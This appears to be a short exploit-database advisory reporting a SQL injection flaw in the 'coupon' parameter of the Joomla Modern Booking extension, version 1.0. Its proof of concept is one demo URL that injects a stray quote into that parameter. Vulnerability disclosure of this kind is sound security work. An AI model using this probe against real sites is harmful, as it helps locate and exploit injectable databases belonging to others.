25 lines
No EOL
749 B
Text
25 lines
No EOL
749 B
Text
###############################################################################################
|
|
# Exploit Title: Joomla Modern Booking - SQL Injection
|
|
|
|
# Author: [ Hamed Izadi ]
|
|
|
|
#IRAN
|
|
|
|
# Vendor Homepage :
|
|
https://extensions.joomla.org/extensions/extension/vertical-markets/booking-a-reservations/modern-booking/
|
|
# Vendor Homepage : https://www.unikalus.com/
|
|
# Category: [ Webapps ]
|
|
# Tested on: [ Ubuntu ]
|
|
# Versions: 1.0
|
|
# Date: March 22, 2017
|
|
|
|
|
|
# PoC:
|
|
# coupon Parameter Vulnerable To SQLi
|
|
|
|
# Demo:
|
|
# https://server/modern-booking-slots?task=saveorder&coupon=test"&start=&option=com_modern_booking
|
|
|
|
|
|
# L u Arg
|
|
############################################################################################### |